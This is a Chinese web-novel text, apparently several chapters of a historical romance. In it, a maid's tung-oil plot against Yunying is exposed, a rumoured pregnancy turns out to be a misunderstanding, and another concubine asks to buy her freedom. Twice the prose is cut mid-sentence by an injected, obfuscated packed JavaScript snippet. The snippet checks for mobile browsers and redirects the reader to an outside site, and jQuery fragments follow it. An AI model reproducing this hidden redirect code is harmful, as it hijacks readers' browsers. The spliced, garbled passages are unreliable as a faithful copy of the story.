但她还是强忍着不适解释说,“二爷,那茶山的地契上写的是随云的名字。虽然咱们自己人知道,茶山真正的主人是我,但外人谁会去追根究底?他们看的不过是地契上的人名罢了。随云是你的近侍,那茶山也是拿真金白银买的,手续也都依法办理。但传出去,总免不了有人说闲话,指不定还排揎到您头上去。” “说我什么?” “那可多了。就比如,说您将茶山贱卖给自己属下,是给身边人牟利。还比如,说您不为官府争利,反倒为自己下属索要大笔赔偿金,您的心在私不在公,您愧为一地县官;还有……” “还有什么?” “还有那以小人之心度君子之腹的,指不定还会在暗地里揣测,那茶山指不定是您贱卖给自己的,您争取赔偿金,是在为自己牟利。” 二爷冷笑出声,“呵。” 云莺忙辩解,“我没有这样想。只是,这世上多的是吃不到葡萄说葡萄酸的人,那些人见您在章知府跟前露了脸,政绩也近在眼前,免不了会心中忌恨。” 若二爷没把柄给人抓,倒也可以任由那些人说去。可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616644|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二爷身边的人买了茶山,这不现成的被人攻讦的把柄么? 与其到时候让人拿这点事儿攻击二爷,让这件事儿成为二爷仕途上的黑点,那不如现在就把这黑点除去。 “那你说,该怎么办呢?把茶山捐出去么?”二爷好整以暇拄着下巴问她。 云莺迟疑的点点头,“我也就只有这一个办法,不过这办法是可行的。二爷,您看呢?” “我也觉得可行。” “那就……” “你甘心么?你舍得么?” 云莺佯做出无所谓的样子,“舍……好吧,那自然是不舍得的。我卖了两套您给我的头面,总共也才得了两千两银子。可这茶山,我只要这么一倒手,就轻轻松松入账一万两。这可是一万两啊,有了这一万两银子,我就实现财富自由了。” “财富自由?” “对,就是……” “我知道是什么意思。”二爷终于忍不住笑了,“那要是捐了,你的财富自由可就离你远去了。” “那就再挣么,银子总是挣不完的。我还这么年轻,总有能挣到一万两的一天。再有,这茶山说来还是用您的一百两买的,钱出在您身上,自然也要用在您身上才是。” 云莺巴拉巴拉,又说了好些话。说到最后,她都不知道自己都说了什么。因为二爷一直眼都不眨的看着她,而他的视线越来越火热,烫的云莺脸红心跳,脑袋都短路了。 最后,将茶山捐出去的事情倒是定下了,但二爷却说,本该属于她的那一万两,由他来补给她。 云莺嗫嚅道:“您不是已经自顾不暇了?” “但我很快会有一大笔进账。” 云莺警惕,“您那些钱是哪里来的?总不会是……二爷,您不会是想截取一些矿产吧?” 二爷笑了,“我用截取么?那金矿本就在云归县治下,且是由我们俩个发现的。不说后者,只说这矿 藏在云归县,按理,县衙就可以将其中十分之三的出产留下。” 云莺震惊了,惊过又是狂喜,“二爷说真的么?知府大人同意了么?” “已经同意了。其中十分之七归府衙,至于府衙要向朝廷进献多少,知府大人会按章程办事。但其中十分之三,必须要留在云归县。” 县衙有了钱财,他之前垫付的大笔银子就可以拿回来。他手里宽裕了,给云莺一万两万不过抬抬手的事情。 当然,二爷不会一下将这笔钱给云莺。 真给了,他怕她的心飞了。 云莺呢,在确认了这个消息了,愈发高兴了。 若不是情况不允许,她高低得抱着二爷转两圈。 有银子了啊! 有了银子,其余都可以铺展开了。 不管是买更多的耕犁耕牛,还是招来更多的工匠,承办更多的产业。 总归,有了银子,县衙就有了试错的底气,二爷让云归县富裕起来的依仗,就更多了一些。 还有那些百姓,那些穷的连顿干饭都吃不起的百姓,他们是不是可以期望一下,在明年、后年,每日都吃上一顿干饭? 云莺最后是被二爷送出门去的。 因为章知府要过来用膳了,云莺继续留在这里不合适。 再说云莺太过惊喜了,这让她忘了身上的疼痛。她走在半路突然蹦了起来,然后面色扭曲,整个人以一个非常不雅观的姿势,被二爷搂在了怀里。 这一幕恰恰好被章知府看到,章知府当即背过身去,与随云说,“想必方才那位,就是与陈县令一道发现金矿的姑娘吧?” 随云颔首,“正是那位姑娘。” 章知府现在心情大好,看什么都是美的。 金矿的发现可是解了他的燃眉之急,不仅如此,有了这个聚宝盆,他可以大展拳脚做许多事情了。届时,即便是穷困的岭南府,在他的治理下,也会变的富裕起来。 这可都是功绩,是能够流芳百世的成就。 章知府一想到这些,心里就甜的像是喝了蜜。 此刻看见看那发现了金矿的佳人,章知府更是觉得她美如天仙。忍不忍就哈哈哈笑着评论说,“倒是和陈县令男才女貌,堪为般配。” 随云硬着头皮说,“您谬赞了。” 第113章 木槿下线 二爷与章知府如何相谈甚欢且不说,两人就金矿的事情又达成了何种协议也不提。 只说等云莺回后院休息时,一更的梆子早就敲响了。 她洗过澡让穗儿给她涂抹了消肿祛瘀的药膏,如此过了一晚上,等翌日起身,那疼痛不仅没消减,反倒疼得更为厉害了。 且听穗儿说,今天的患处比昨天看着还瘆人。 她整个尾椎骨都肿了,还青紫发黑。尤其她的皮肤还那么白,就衬得她那伤处更加惨不忍睹。只是看着,就让人疼得倒吸一口凉气。 云莺只听穗儿形容,就忍不住瑟缩几下。 她疼得几乎站不起身,硬撑着去净室里洗漱更衣,回来疼得面上出了一层冷汗。 穗儿见状就说,“这样不行啊姑娘,我去请大夫过来给您看看吧,您别不是伤到骨头了。” 云莺也怕留下什么后遗症,就点头说,“去吧,你快去快回。” 穗儿应了一声,快步跑了出去。 穗儿离开,柳儿就留在云莺身边伺候。 她见云莺趴在美人榻上,人还不时的倒吸气,就说,“昨晚上就该请大夫的,偏姑娘不让。这下好了吧,您硬是忍了一晚上,如今还不是要请大夫来?您说说,您这不是白受了一番罪么?” 又道:“说来说去都怪木槿。木槿看着小意温柔的,没想到是这样一个狠人。姑娘摔倒指定与她脱不开关系。真想雷霆快些找出木槿使坏的证据,把她撵出府里才好。” 柳儿正絮叨着,忽听外边传来动静。 一个小丫鬟在外边喊叫着:“不好了姑娘,出大事儿了,雷霆带人来后院抓人了,把木槿姑娘和如珠都带走了。” 屋内一静,柳儿火速跑到门口掀开了帘子。 “你说什么?木槿和如珠都被带走了?” 小丫鬟点头如小鸡啄米,“都带走了,好些人围着看呢。大家都在说,指定是雷霆查出来,昨天姑娘摔倒一事和木槿主仆脱不了关系,这就把她们带过去审问了。柳儿姑娘,咱们姑娘要过去看看么?咱们姑娘可是苦主,一定要让二爷重惩那对主仆,好为咱们姑娘主持公道。” 柳儿进屋问云莺,“姑娘,咱们去看看么?” 柳儿满脸激动,看着云莺的目光非常热切。 云莺知道她想看热闹,更想看到木槿和如珠恶有恶报,她也想去看,但是她现在疼得走路都困难。 柳儿闻言立马道:“姑娘我背您去。” “算了,我自己走着去,咱们走慢点就是。” “好,好。” 如此云莺简单收拾过,就和柳儿一道出了门。 才走到院门口,云莺头上的冷汗又下来了。柳儿见状,也不等云莺反抗,直接弓起身就将云莺背到了背上。 云莺笑着说,“我是磕到了尾椎骨,不是伤了脚。” “不管磕到哪里,您也受伤了。受伤就少挪动,要多修养。姑娘,咱们就凑这一次热闹,之后咱们关起门来养伤,什么时候伤好了,什么时候出门。” 两人说着话,很快就跟着人流到了一处院子。 院子里静悄悄的,只有雷霆的说话声。 雷霆指着院子中一个七八岁的小孩儿,“你当初指使这小孩儿帮你买桐油,并给了他十个铜板做跑腿费。如珠你可承认?” 如珠自然是不承认的,她跪在地上眼泪鼻涕齐飞,一口一句“我冤枉。” 那七八岁的小孩儿,只穿着一身满是补丁的短褐,他脸蛋黑乎乎的,一双眸子却亮的慑人。 小孩儿说,“你虽然蒙着脸,但你骗不过我。我这双招子最管用了,只要我见过一面的人,我就没有认错过。况且,你左耳后还有一颗红痣,你还用着桂花味儿的香囊,这些我都记得一清二楚。” 如珠闻言,条件反射去捂自己左耳后的痣。这个动作刚做出来,如珠就顿住了。 她已经不打自招了。 雷霆冷声道,“你老实交代,府里还能留你一条小命,否则,呵,后果自负。” 雷霆素来冷面冷声,整个人就跟个冷面煞神一样。 可以说,二爷身边四个属下,就属雷霆威慑力高。 后院的丫鬟婆子们见了他,就跟老鼠见了猫一样,要多规矩有多规矩,要多老实有多老实。 如今被雷霆黑着脸威胁,如珠的心里防线直接溃败。 她哭着趴在地上,“我招,我全招。是我们姑娘……” “如珠你敢胡说八道,看我不把你的脸打烂。” 木槿直接扑上去,上手就给如珠两个耳光。 那耳光脆生生的,用了十足的力气。如珠的面颊迅速起了两个红红的巴掌印,又片刻,她脸都肿了。 周围围观的丫鬟婆子,哪里见过木槿这凶悍劲儿? 木槿给众人的印象,一直都是小心温柔。虽然她说话阴阳怪气、绵里藏针,让人知道这不是个好惹的。但不好惹到直接上手捶打自己的丫鬟,且简简单单的两巴掌就把人脸打肿了,这个凶恶残暴的劲儿,简直让人瞠目结舌。 木槿还欲继续行凶,却已经被雷霆身边两个婆子摁住了。 木槿打不着如珠,便开始踢腿,不出 意外,如珠被她踹了一脚,狠狠的倒在了地上。 到了这步田地,如珠对木槿只有恨,没有畏了。 她三言两语就将木槿吩咐她做的事情说了。 还说,木槿之所以这么做,全是因为听闻云莺怀孕,她心存妒恨,便决定给云莺个厉害尝尝,要让她堕胎。 木槿想出的办法,就是在云莺惯常走的路上泼桐油。 至于如何不动声色买来桐油,木槿也早有算计。 她将中午属于她的那道红烧排骨例菜,赏给了守门的婆子吃。 守门的婆子频繁腹泻,一下午往净室跑了好几趟,她还以为是自己的肠胃承受不住那油腻的东西,却全然没想到,那排骨中是下了药的。 如珠就是趁着婆子出恭的时候,偷偷跑了出去。 为防被府里人认出来,更怕云莺出事后府里人追查,如珠用帕子蒙住了面孔,用十个铜板雇佣了一个小孩儿帮她买了桐油。 熟料,这人海里捞出来的小孩儿,竟然能被雷霆寻到。且那小孩儿还有个记人脸的本事,只一眼就将她认了出来。 如珠絮絮叨叨,说她也不想做恶的,可木槿威胁她,说若是她不肯听她的话,她就要借口她虐待她,要让人将她赶出府,更甚者将她卖到脏地方去。 如珠怕了,只能听她的命令行事,于是,一步错,步步错。 如珠哭的泣不成声,鼻涕眼泪顺着面颊往下流。 她平日里也是个爱俏的姑娘,虽然长相普通,但打扮起来颇为清秀耐看。可此时再看,这姑娘真就跟个疯妇一样,全然没了体面。 再看木槿,却依旧是那副平静坦荡的模样。 好似如珠口中控诉指责的人不是她一样,她就如同一个事不关己的局外人一样站在旁边,偶尔斜睨如珠一眼,眸中都是狠厉。 等如珠说完,木槿悠悠的道:“好你个如珠,枉我把你当亲姐妹照应,平日里连一点粗活都不舍得让你做,有什么好吃的,更是要带着你一起吃。却原来你是个吃里扒外的东西。你说,你到底是受了谁的指使,竟然将这屎盆子扣在我头上?你说,你是不是听了云莺的吩咐行事?我就知道,这场戏就是云莺自导自演的。她不就是怕我得了二爷的欢心,所以才用这么一出苦肉计,迫不及待将我赶出去。” 云莺在门口听着,听到这里整个人都气笑了。 柳儿更是摩拳擦掌,恨不能将木槿的嘴撕烂了了事儿。 再有旁边那些丫鬟婆子,此时也都“轰”一声炸开了。 他们倒是不觉得,这出戏是云莺自导自演,因为完全没这个必要。 大家都长着眼睛,都能看清楚后院到底是个什么形式。 可以说,云莺独宠的局面已经形成,秋宁和木槿完全就是两个隐形人。 秋宁还有些自知之明,不怎么往二爷跟前凑,木槿呢,她那心思全写在脸上了。 可神女有心,襄王无意。 那次她想算计云莺,与她同乘一辆马车,与二爷一道出门,都被二爷赶回来了。 这件事当时闹了好些天,后院的丫鬟婆子看足了笑话。 说这件事就是想说,木槿上赶着去送,二爷都不把她看在眼里。这种情况下,云莺还有必要忌惮她,有必要暗算她,将她撵出府去么? 那不是六个手指头挠痒,多那一道么? 木槿这指控完全站不住脚,可这人的无耻与狡诈,可真是出乎众人的预料。 不说丫鬟婆子们如何激愤,如何啧啧称叹木槿的厚脸皮,只说雷霆的心思此刻却全不在这上边。 他的脑海中,全被那五个字轰炸了—— 云莺怀孕了!!! 云莺怀孕了? 这是什么时候发生的事儿? 孩子是谁的? 总不会是二爷的吧? 雷霆抖抖手,不敢置信的看着云莺,又看看云莺的肚子。 云莺此时已经走进了院门,就站在距离雷霆不远的地方。 雷霆喊了她一声,问她,“你真怀孕了?” 怀孕? 哦,她都忘了还有这件事没解释。 不过眼下也不是解释的时候。 云莺就说,“先把木槿和如珠处理了,稍后我再和你解释我怀孕的事儿。” “什么怀孕,你怀孕了?” 说这话的正是刚走到院门口的二爷。 二爷送走了章知府,听随云说雷霆已经抓住了谋害云莺的幕后黑手,且云莺也在这边看热闹,他就沿着路走过来了。 谁知道来的这么巧,才刚走到门口,就听云莺说她怀孕了。 二爷此时的面色啊,青了又白,白了又红,红了又紫,紫了又黑,真跟打翻了颜料盒一般,五颜六色好不精彩。 围观的丫鬟婆子们,一听二爷的声音是从她们身后传来的,众人忙不迭让开路,赶紧给二爷行礼问安。 还有那心思灵巧,想在二爷面前露脸的,此刻迫不及待的说了一句,“云莺姑娘怀孕了!木槿就是嫉妒她怀了二爷的孩子,这才想用桐油算计云莺摔跤落胎。好在云莺姑娘的身子骨结实,小公子也健壮,这才没出大事。” 云莺一整个如遭雷劈 。 那来的小公子啊! 她真的真的没有怀孕啊! 论现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616645|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这场面的乌龙程度,着实和在西王母娘娘村时有的一拼。 但当时二爷没在跟前,她羞耻一把也就过了。 现在却不同,二爷就在她跟前,且还被人喊破她怀了二爷的小公子…… 云莺热的快自燃了,她现在只想找个地缝,赶紧钻进去再不出来见人。 云莺一脸崩溃,人都快囧哭了。 二爷先时还有些震怒,可从门口走到云莺身边这一段,已经足够他冷静下来。 冷静过后,再看云莺这羞耻、羞愧,欲哭无泪的模样,二爷如何还不知道,这就是一场误会。 说实话,得知这是误会,而不是真的,二爷还小小遗憾了一下。 若是云莺真怀了他的子嗣…… 想太美,不敢想! 二爷收起了遗憾的心思,眸含浅笑看着躲躲闪闪的云莺,“是误会你怎么不解释清楚?” 云莺闻言看向二爷,眸中含着潋滟的水光,很是羞耻的说,“我解释了,但她们不听。” “哦。也是因为你‘怀孕’,才有了这场无妄之灾?” 云莺捂住额头,“是的。” 二爷笑了。 云莺哭了。 在两人附近站着的木槿,她从二爷露面开始,视线就一直落在二爷身上。 二爷与云莺的对话,她自然一个字也没漏听。可正是因此,木槿才愈发崩溃。 她颤着声音问云莺,“你果真没怀孕?” 云莺一秒变脸,“我怀不怀孕,都不是你害人的理由。” “所以,你真的没有怀孕?” 周边人又嗡嗡开了,“什么没有怀孕?云莺姑娘明明怀孕了啊,这件事儿还是秋宁姑娘亲口说的。” “先别打岔,安静点,咱们听云莺姑娘怎么说。” 云莺道:“我是没有怀孕,怎么,你发现自己多此一举了么?” “你竟然真的没有怀孕,你没有怀孕……啊,二爷你听见了么,云莺没怀孕,她没有怀你的子嗣。” 二爷连看都懒得看一眼木槿,木槿却又古怪的笑了,“既然云莺没有怀孕,就不存在我故意害她流产的说法,这就是一场误会,这是误会啊。” 云莺叹口气,再是没想到,木槿竟是这样一个胡搅蛮缠的人。 刚才她还打死不认故意谋害她,如今知道她没怀孕了,又改口说这件事是个误会。 论颠倒黑白,云莺只服木槿。 云莺懒得与她继续争执什么,就看向二爷,“她谋害我的事情证据确凿,二爷您看要如何发落她。” “发落我?凭什么发落我?我又没害你落胎。是你自己没本事,没怀上二爷的小公子。二爷你要发落,也该发落云莺才是。她就是个不下蛋的母鸡,你宠幸了她这么长时间,她都不能给你怀个一男半女。二爷你发落了云莺吧,二爷我给你生个儿子可好?” 二爷看着雷霆,“把人带下去,罚去挖河渠吧。” 如珠摊到在地,人都傻了。 木槿却还在负隅顽抗,她又蹦又跳的躲避婆子们的抓捕,往二爷身上扑过来,“二爷您在说什么啊?我是伺候您的啊二爷,您怎么能罚我去挖河渠?二爷您好狠的心,二爷您不能这样对我。” 木槿的身段纤细小巧,非常玲珑有致。往日里,她打扮的都很清新甜美,往那一站,就让人心都软了。 可今日,木槿依旧打扮的甜美可人。但她神色却狰狞的宛若一个疯婆子一样。 她还胡言乱语,嘴里说着些有的没的话,那模样,真就跟受了刺激精神不正常的妇人没什么两样。 木槿到底是落在了两个婆子手中。 两个婆子拧着她的胳膊,要将她压出去。木槿却又惨兮兮的哭起来,“二爷你不公平,我也是府里钦点要送过来伺候您的,可您心里眼里只有云莺一个人,您将我们弃如敝履,不管不顾。二爷,我也是心仪您的,我做的一切都是为了您,二爷您怎么能将我丢出去呢?二爷,您可怜可怜我,您收了我吧。” 直到木槿被带出院子的最后一刻,她还在叫嚣着二爷的不公平,为自己痴心错付疯狂呐喊。 她请求二爷能多看她一眼,能留她伺候一晚,只是一晚就够了,她会让二爷知道,她比云莺更好…… 两个婆子受不住木槿的吼叫,也是看出了二爷对木槿忍耐到了极限。 她们生恐自己办事不力,也被主子发落了,就赶紧拿了擦汗的汗巾塞进了木槿嘴里,狠狠的堵住了她的嘴。 木槿呜呜咽咽,眼里终究流下了泪水来。 秋宁站在院门口,将这一幕全都看在眼里。 这一刻,她不知道木槿有没有为自己的所作所为后悔。 但是,想来是后悔的吧。 若不然,她怎么会流泪? 秋宁看着木槿,又似乎在看着未来的自己。 她眸光渐渐空洞起来,忍不住又一次问自己,就这样无望的守在二爷身边,绝望的等待着那绝不会出现的宠爱,这真的有意义么? 她还很年轻,她还有很多选择,她难道这辈子就真的甘愿耗 死在二爷的后院里,做一个只知道吃吃喝喝等死的废人? 秋宁摸着自己砰砰狂跳的心脏。 她不愿意! 第114章 加倍还回去 木槿和如珠被带走了,这场大戏也就散了。 围观的丫鬟婆子们倒也乖觉,他们趁着二爷与云莺没注意他们,也悄悄的溜走了。 等云莺回过神来,现场只剩下她与二爷。雷霆早不见踪影了,柳儿更是不知道何时已经跑到了门口。 云莺抬起头看向二爷,轻咳一声,“多谢二爷为我出气。” 二爷挑眉,“这也值当你谢?若是这么客套,你将茶山捐了,为我的仕途铺路,我是不是也该好好谢谢你?” “这怎么能一样?茶山本就是用你的银子买的……” “在我看来却是一样的。” 云莺垂下头,绞着手中的帕子,不说话了。 现场一片静谧,气氛却是甜腻腻的。 这一刻,太阳似乎没那么炙热了,知了的叫声也没那么聒噪了,甚至就连风声水声,一切都悦耳动听起来。 清风吹拂过云莺的一缕发丝,那头发飘飘扬扬,陡然落在了二爷手上。 二爷手指微动,刚想触摸那缕发丝,那带着馨香的长发,却又被吹到了别处。 “走吧,这边不是说话的地方,我们找个地方坐下说事儿。” “二爷是有什么事儿要和我说?” “还是与金矿有关。能够发现金矿,你功不可没,知府大人给了你一笔厚赏。” 一听说有赏赐,云莺一双明眸登时亮堂起来。 她追问着二爷,“是什么呢?是赏我银子么?” 二爷笑了,“你就记得银子,你还真是个财迷。” 财迷云莺不以为耻反以为荣,她正想和二爷说,一文钱难倒英雄汉,她之前穷的叮当响,连吃一块桂花糕都买不起的惨状。结果,往前走了两步,尾椎骨一阵锐痛,云莺痛呼一声,再次满面痛苦之色的顿在原地不走了。 最后云莺是被二爷抱到凉亭上的。 就是之前云莺给二爷缝制衣衫的那个凉亭。 亭子就在后院,距离刚才那个院子很近。再加上这边位于假山上,有河风徐徐吹来,坐在这里乘凉非常凉爽,二爷便选了这个位置。 将云莺放在石凳上后,二爷回头催促了柳儿一句,“去看看大夫请来没有,若还没有,你让雷霆亲自跑一趟。” 柳儿应了一声,撒丫子跑了。 云莺张口说,“穗儿走了好大一会儿了,应该是遇到了什么事儿,不然不至于现在还没回来。” 二爷不听她说这些,只是道:“既然疼得厉害,你就躺在房间好好休息,还跑出来作甚,是嫌不够疼么?” 云莺:“我那不是太想知道木槿的下场了么。她图谋不轨,害我摔这么惨,我不看着她得到惩罚,在屋里坐不住。” 二爷闻言忍不住笑了,“倒是没想到,你还有点睚眦必报。” 云莺扭过头,“我很记仇的,谁要是害我,我肯定要加倍还回去。” “你要是对你好呢?”二爷的声音哑了些,轻轻的问道。 云莺沉默了片刻,语气更轻的回应,“那也要加倍的还回去。” 气氛又安静下来,这次换二爷轻咳一声,问她怀孕的事情到底是怎么回事儿。 这事儿太尴尬了,云莺不想说。 她别扭道:“您这样问我,有些不礼貌。” “那我要怎么问?”二爷义正严词,“毕竟这事儿事关我的声誉,我不问清楚不行。” 云莺被噎住了,最后到底是在二爷的含笑揶揄下,语焉不详的将她与秋宁的对话一说。 她说的含糊极了,但大概意思二爷听懂了。 听懂后二爷面上露出尴尬的神色来,一双玉白的耳朵也微微染上红晕。 “二爷。” “怎么了?” 云莺转开话题说,“你之前说知府大人要奖赏我,他赏我什么了?” 二爷笑了,不知是在笑云莺的逃避,还是笑她的财迷。 但他也不好继续调侃打趣她,事关姑娘家的清誉与月事,这些都不是他可以拿来肆意玩笑的事情。 不过,知府大人赏了云莺一笔银子,外加一套头面首饰,这该是合了云莺的心思了。 云莺不敢置信的问道:“真的?” “真的。只是银子只有一百两,头面首饰也没有多贵重,这乃是知府夫人所赐,你别嫌弃头面不时兴就好。” “不嫌弃,不嫌弃。”她都没想到知府大人会赏她,这算是意外之喜。可以说,这银子和首饰就跟捡来的一样,没有没什么,有了当然更好啊。 云莺笑眯眯的,“太好了,我的资产又丰厚了一点。” 她问二爷,“知府大人给你赏赐了么?” 二爷摊手,“那自然没有。” 二爷这个答案云莺一点不觉得奇怪,毕竟二爷都强势的占了十分之三的金矿了,若知府大人再赏他,知府大人都咽不下这口气。 说过金矿,云莺又问,修路具体从什么时候开始。 “明天就开始招工了。云归县的百姓,负责修缮从屋头山到县衙这段路,其余路段被章知府分配给沿途别的县来修缮。” 云莺只是顺口一问,具体如何修她并不在意。她在意的是,这段路究竟何时 能修好,她何时才不需要走泥泞坎坷的泥路出行。 二爷说,“年前只能保证将云归县,以及县城附近的路修好,其余地段,争取明年年末修完吧。” 二爷语气中有着遗憾,但云莺已经很惊喜了。 毕竟这跟之前二爷承诺给她的几乎一样,甚至比之前的预估时间还早一些。 云莺连连点头,“这进度,已经很快了。” “关键还是资金充足,能大肆铺展开这么大的工事。” 两人说着话,云莺突然感觉身上有些不对劲。 她小腹处传来隐隐的痛感。 这感觉并不陌生,甚至过于熟悉了。 这就是姨妈要来的征兆啊。 云莺心中一股不好的预感,她手扶住石桌,准备站起身先回去。 然而,都没等她的屁股离开石凳,那道红流直接冲破闸门,一涌而下。 云莺傻了。 她坐在石凳上,感觉自己已经死了。 云莺面容呆滞,捏紧了拳头,感觉意识已经飞离了她的躯体。 二爷注意到她的异常,唤了她两声。 云莺后知后觉回过神来,“您叫我做什么?” 二爷蹙着浓眉,“你怎么了?” “我,我……” 云莺欲哭无泪,那张速来清冷若天外仙的面容,皱成了一张苦瓜。 “怎么有血腥味儿?” 这话二爷几乎是脱口而出,可刚说出来,他注意到云莺更安静了。 二爷眼皮一抖,直直看着云莺。然后,就这么面对面的,两人的面孔在一瞬间都红透了。 最后,云莺又被二爷抱回了院子。 她今天穿的是一件香妃色绫子如意云纹衫,并一件乳白色柔娟曳地长裙。 她的穿着一贯素净,在夏天尤其如此。 平日这么穿也没什么,不过是愈发显得她为人清冷,会让人产生不忍亵渎与高攀的清冷感。 可此时此刻,因为身上的衣衫颜色太素淡了,那一抹红痕就特别明显。 更别说,她还是青天白日被二爷抱回后院的。后院的一众丫鬟婆子视线全都在他们身上,云莺身下那点明亮的红色,就更难逃过众人的眼睛。 于是,县衙的后院再次炸了锅。 丫鬟婆子们奔走相告:不好了,云莺姑娘小产了! 云莺将头埋在二爷怀中,可即便如此,她也听到了不远处丫鬟婆子们的窃窃私语。 那些人以为她们藏得隐秘,更觉得她们说话的声音很低,她和二爷应该听不见。可其实,她和二爷全听见了。 那些丫鬟婆子们捶胸顿足的说,“夭寿了!云莺姑娘还说她没怀孕,可她怀孕了啊!还是太年轻,不懂这事儿!” “哎呀,木槿这次可做大孽了!她算计云莺姑娘流产,结果云莺姑娘这一胎真掉了。我之前还说,二爷将木槿主仆丢去挖河渠,那主仆俩怕是要遭大罪了。我还说二爷这处罚过了,太过心狠手辣了。却原来,唉,怕是二爷现在想杀了那对主仆的心都有了。” “二爷现在指定难受坏了,这可是二爷的长子啊!” “确定流了么?指不定只是动了胎气呢。快去请大夫来,好歹救一救啊。” “那血都流成那个样子了,指定落 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二爷清风朗月一般的模样,举手投足间自带优雅贵气。但二爷又是冷峻的,他满身威仪,让人畏惧不已。 云莺冲柳儿摆摆手,“都是别人瞎说的,回头你给她们好好解释解释。” 柳儿小声嘟囔,“这事即便我解释了,她们也不见得会听。比起我的解释,他们应该更相信自己看到的。” 云莺:“……” 就这么一会儿功夫,穗儿气喘吁吁的,带着曲大夫过来了。 曲大夫见云莺在桌旁坐着,条件反射说了一句“胡闹。” 他来的路上都听人说了,云莺姑娘流产了。 流产了还不好好卧床休息,还坐在这里是嫌身体坏的不够彻底么? 但云莺及时插了一句话,“曲大夫,我昨晚踩到桐油,摔伤了。劳您帮我看看 骨头有没有事儿。” 曲大夫愣了,“是摔伤,不是那什么啊?” 云莺只做不知曲大夫在说什么,又一次强调,“真的是摔伤,别的没事儿。” “那姑娘摔到哪儿了?” “摔到……” 云莺摸摸尾椎骨的位置,又很快将手收了回来。 她看向了穗儿,穗儿后知后觉意识到,她请错大夫了。 姑娘摔得是尾椎骨啊,她怎么能请个男大夫来,要请也该请个女大夫啊。 曲大夫显然也意识到,这边弄了一场乌龙。 好在老大夫当真医德满分,又给云莺推荐了一个擅长治跌打损伤的女大夫,随即和二爷打了招呼,便扭头走了。 云莺让穗儿赶紧出去送一送,穗儿又马不停蹄的去送曲大夫出门。 屋内更安静了,云莺趴在桌在上,自闭了一分钟。 二爷轻咳一声,“我感觉你的骨头没事儿,应该就是摔得狠了,多修养几天就好了。” 云莺抬起头,幽幽的问,“你怎么知道的?” 二爷不自在的摸摸鼻子,“我看出来的。” 最后,二爷被云莺轰出了门。 二爷还是第一次被人撵出来,还别说,这体验真挺神奇的。 他回头看一眼云莺的院门,那院门当着他的面,“砰”一声关上了。 二爷见状,忍不住翘起唇角笑出了声。 二爷说,“我先回去了,你也进屋去休息吧。稍后我让随云过来给你送一瓶药膏,那是太医院出来的东西,去肿化瘀很有效。你先用着,若是症状不轻你再让人告诉我,我给你请别的大夫。” 云莺嘟囔,“你快走吧。” “好,我这就走了。” 二爷话是这么说,可还是在云莺门口站了好一会儿,才迈步往前院去了。 等回了前院,二爷就将雷霆唤来,让他给县衙的人都立立规矩。 雷霆问,“立什么规矩?” “让他们闭紧嘴巴,不该说的别说,不该议论的别议论。主子的事儿,谁再敢在背后嚼舌根,一律发卖出去。” 随雨在旁边啧啧,说二爷冲冠一怒为红颜。 雷霆则冷着脸,毫不迟疑的点头应下二爷的吩咐。然后,果断的去给县衙的众人立规矩了。 第115章 秋宁的请求 有雷霆出面,县衙后院的流言蜚语很快消弭于无形。 当然,要说完全杜绝,那肯定不可能。 但经过雷霆这一番训话,最起码大面上再没人敢说主子的小话了。 县衙后院安静了,云莺也能安心的躺在床上养伤了。 果真就像二爷说的那样,她的尾椎骨没有大碍,只是伤的狠了,需要修养。 如此过了三、四天,云莺已经能自如的下床活动了。尾椎骨那边的淤青红肿也渐渐散开,患处也没那么难受了。 但云莺身上还来着月事。 大夏天的,要在身上带个装草木灰的布带子,想也知道会有多难受。 又因为动一动就一身汗,不仅要换衣衫,月事带也要换,云莺就懒得动弹了。 即便伤口好了许多,她也依旧在屋里躺着。 这一天,云莺正躺在美人榻上读话本,穗儿就领着秋宁进来了。 秋宁看见云莺这么自在,心里羡慕的一匹。 她抹了把头上的汗,和云莺说,“数来数去,这县衙就数你最舒坦。” 云莺收起话本坐起身,将一杯凉茶递给秋宁,“我也没委屈你啊,你想这么舒坦也可以的。” “那我还能一直在屋里窝着啊?我没病没灾的,天天让我窝屋里,我早晚窝出病来。” 云莺:“那你就出来走走啊。只是别正热的时候出来,你一早一晚出来散散步,等天热的时候就跟我一样在屋里躺着,不也挺舒坦。” “舒坦是舒坦,只是天天被圈在院子里,也挺没意思的。” 云莺给自己斟茶的动作一顿,她若无其事的将茶壶放在一旁,静看着秋宁,等她说她的来意。 秋宁看见云莺这个动作,心里就忍不住叹了一声,不怪二爷这么喜欢云莺,换做她是二爷,她也喜欢云莺。 云莺多好啊。 周到体贴,善解人意,还能干聪明,端庄稳重。 她也就亏在出身上,不然,做二爷的正妻也使得。 秋宁说:“云莺,我想离开县衙。” 她将自己的荷包从腰间解下来,哗啦啦倒出一小堆碎银子。 “这是我所有的私房了。这其中一部分银子,是我典当了在庄子上得到的首饰当来的。另一部分,是我来了云归县后,我攒下的月例银子。总共也不多,加起来也不过三十两。云莺,这是我所有的家当了,不知道够不够赎身。” 云莺看了一会儿桌上那堆碎银子。 三十两,不算多,也不算少。 但这却是秋宁这半辈子的积藏了。 云莺的视线从碎银子上离开,她看向了秋宁。 其实她能猜到秋宁为何要离开县衙。 无外乎是觉得等不到二爷了,一直呆在县衙做个废人,太过无趣。与其半死不活的在后院呆着,那还不如搏一把,走出这个安乐窝,给自己谋一个出路。 